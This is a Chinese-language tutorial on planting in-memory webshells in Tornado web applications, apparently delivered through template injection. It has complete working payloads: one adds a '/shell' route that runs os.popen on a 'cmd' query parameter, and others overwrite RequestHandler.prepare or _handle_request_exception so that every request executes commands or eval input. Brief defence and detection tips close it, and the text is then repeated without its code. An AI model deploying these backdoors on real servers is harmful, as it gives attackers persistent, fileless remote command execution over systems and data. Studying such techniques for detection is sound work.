Tornado框架内存马学习
字数 1959 2025-08-22 12:23:24

Tornado框架内存马技术深入解析

一、内存马基本概念

内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不需要在磁盘上存储文件,通过修改Web应用程序的运行时代码逻辑来实现持久化控制。

在Tornado框架中实现内存马主要有两种思路:

  1. 注册一个新的URL,绑定恶意函数
  2. 修改原有的URL处理逻辑

二、Tornado模板机制与内存马

Tornado的模板系统有一个重要特性:一旦调用self.render()方法,就会实例化一个tornado.template.Loader,之后即使修改模板文件内容,也不会重新实例化。

解决方法:需要清空tornado.web.RequestHandler._template_loaders,否则在利用时会一直使用第一个传入的payload。

三、路由规则分析与新增注册路由

1. 路由添加机制

Tornado的Application类提供了add_handlers方法,类似于Flask中的add_url_rule函数,可以将指定的路由加入当前的路由表中。

关键点:如果能够控制输入并触发该方法,就可以在运行时向应用中加入新的处理程序。

2. add_handlers函数参数构造

add_handlers函数接受两个参数:

  • host_pattern:字符串类型,通常构造为.*匹配所有域名
  • host_handlers:类型为_RuleList,较为复杂

3. _RuleList与add_rules

add_rules方法用于向路由器添加新的规则:

  • 每个规则由匹配器(Matcher)和目标处理器(target)组成
  • 匹配器决定哪些请求应该被处理
  • 目标处理器是实际处理请求的对象

当传入元组或列表且第一个元素为字符串时,Tornado会自动调用PathMatches类生成匹配器对象。

示例

('/path/to/match', handler_class)

其中'/path/to/match'将被转换成PathMatches对象,handler_class是处理请求的类。

四、动态创建恶意RequestHandler

利用Python的type()函数动态创建RequestHandler子类:

type(
    "x",  # 新类名
    (__import__("tornado").web.RequestHandler,),  # 继承自RequestHandler
    {
        "get": lambda self: self.write(
            str(__import__('os').popen(
                self.get_query_argument("cmd")
            ).read())
        )
    }
)

解释

  • 创建名为"x"的新类,继承自RequestHandler
  • 重写get方法,从请求参数中提取"cmd"并执行
  • 通过os.popen执行系统命令并将结果返回

完整Payload示例

app.add_handlers(
    ".*",  # 匹配所有域名
    [
        (
            "/shell",  # 恶意路由路径
            type(
                "x",
                (__import__("tornado").web.RequestHandler,),
                {
                    "get": lambda self: self.write(
                        str(__import__('os').popen(
                            self.get_query_argument("cmd")
                        ).read())
                    )
                }
            )
        )
    ]
)

五、覆盖处理函数技术

由于Tornado每次请求都是全新的handler和request,直接绑定恶意函数到handler实例无法持久化。

解决方案:修改类级别行为

修改RequestHandler类本身的方法,如prepare()(每个请求开始前调用的方法):

handler.__class__.prepare = lambda self: self.write(
    str(__import__('os').popen(
        self.get_query_argument("cmd", "id")
    ).read())
) or self.finish()

关键点

  • handler.__class__指向RequestHandler类本身
  • 修改类方法会影响所有后续创建的实例
  • 使用self.get_query_argument动态获取请求参数

六、异常处理机制下的内存马

1. Tornado异常处理流程

当请求处理过程中出现未捕获异常时,控制流会转移到RequestHandler._handle_request_exception方法:

  1. 记录异常信息(非Finish类型异常)
  2. 设置响应状态码(HTTPError使用其状态码,否则默认500)
  3. 调用send_error发送错误响应

2. 数据输出机制

  • RequestHandler.write()将数据写入内部缓冲区_write_buffer
  • flush()检查并发送未发送的数据
  • request.connection.write()直接发送数据,绕过标准缓冲机制

3. 异常处理内存马构造

覆盖_handle_request_exception方法:

handler.__class__._handle_request_exception = lambda x, y: [
    x.write((str(eval(x.get_query_argument("cmd", "id")))).encode()),
    x.finish()
][0]

解析

  1. 忽略传入的异常对象y,直接执行命令
  2. 从查询参数获取"cmd"值(默认"id")
  3. 使用eval()执行命令字符串
  4. 将结果转换为字符串并编码
  5. 写入响应并结束请求
  6. [0]确保即使write()抛出异常也会执行finish()

七、防御与检测建议

  1. 代码审计:检查是否有动态类创建和路由添加操作
  2. 运行时监控:监控add_handlers_handle_request_exception的修改
  3. 权限控制:限制执行系统命令的能力
  4. 输入验证:严格验证所有用户输入,特别是eval/popen的参数
  5. 内存检测:定期扫描内存中的异常类和方法修改

八、参考资源

Tornado框架内存马技术深入解析 一、内存马基本概念 内存马(Memory Shell)是一种驻留在内存中的恶意后门技术,它不需要在磁盘上存储文件,通过修改Web应用程序的运行时代码逻辑来实现持久化控制。 在Tornado框架中实现内存马主要有两种思路: 注册一个新的URL,绑定恶意函数 修改原有的URL处理逻辑 二、Tornado模板机制与内存马 Tornado的模板系统有一个重要特性:一旦调用 self.render() 方法,就会实例化一个 tornado.template.Loader ,之后即使修改模板文件内容,也不会重新实例化。 解决方法 :需要清空 tornado.web.RequestHandler._template_loaders ,否则在利用时会一直使用第一个传入的payload。 三、路由规则分析与新增注册路由 1. 路由添加机制 Tornado的 Application 类提供了 add_handlers 方法,类似于Flask中的 add_url_rule 函数,可以将指定的路由加入当前的路由表中。 关键点 :如果能够控制输入并触发该方法,就可以在运行时向应用中加入新的处理程序。 2. add_ handlers函数参数构造 add_handlers 函数接受两个参数: host_pattern :字符串类型,通常构造为 .* 匹配所有域名 host_handlers :类型为 _RuleList ,较为复杂 3. _ RuleList与add_ rules add_rules 方法用于向路由器添加新的规则: 每个规则由匹配器( Matcher )和目标处理器( target )组成 匹配器决定哪些请求应该被处理 目标处理器是实际处理请求的对象 当传入元组或列表且第一个元素为字符串时,Tornado会自动调用 PathMatches 类生成匹配器对象。 示例 : 其中 '/path/to/match' 将被转换成 PathMatches 对象, handler_class 是处理请求的类。 四、动态创建恶意RequestHandler 利用Python的 type() 函数动态创建RequestHandler子类: 解释 : 创建名为"x"的新类,继承自 RequestHandler 重写 get 方法,从请求参数中提取"cmd"并执行 通过 os.popen 执行系统命令并将结果返回 完整Payload示例 五、覆盖处理函数技术 由于Tornado每次请求都是全新的handler和request,直接绑定恶意函数到handler实例无法持久化。 解决方案:修改类级别行为 修改 RequestHandler 类本身的方法,如 prepare() (每个请求开始前调用的方法): 关键点 : handler.__class__ 指向 RequestHandler 类本身 修改类方法会影响所有后续创建的实例 使用 self.get_query_argument 动态获取请求参数 六、异常处理机制下的内存马 1. Tornado异常处理流程 当请求处理过程中出现未捕获异常时,控制流会转移到 RequestHandler._handle_request_exception 方法: 记录异常信息(非 Finish 类型异常) 设置响应状态码( HTTPError 使用其状态码,否则默认500) 调用 send_error 发送错误响应 2. 数据输出机制 RequestHandler.write() 将数据写入内部缓冲区 _write_buffer flush() 检查并发送未发送的数据 request.connection.write() 直接发送数据,绕过标准缓冲机制 3. 异常处理内存马构造 覆盖 _handle_request_exception 方法: 解析 : 忽略传入的异常对象 y ,直接执行命令 从查询参数获取"cmd"值(默认"id") 使用 eval() 执行命令字符串 将结果转换为字符串并编码 写入响应并结束请求 [0] 确保即使 write() 抛出异常也会执行 finish() 七、防御与检测建议 代码审计 :检查是否有动态类创建和路由添加操作 运行时监控 :监控 add_handlers 和 _handle_request_exception 的修改 权限控制 :限制执行系统命令的能力 输入验证 :严格验证所有用户输入,特别是eval/popen的参数 内存检测 :定期扫描内存中的异常类和方法修改 八、参考资源 SecMap-SSTI-tornado Tornado官方文档关于路由和异常处理的部分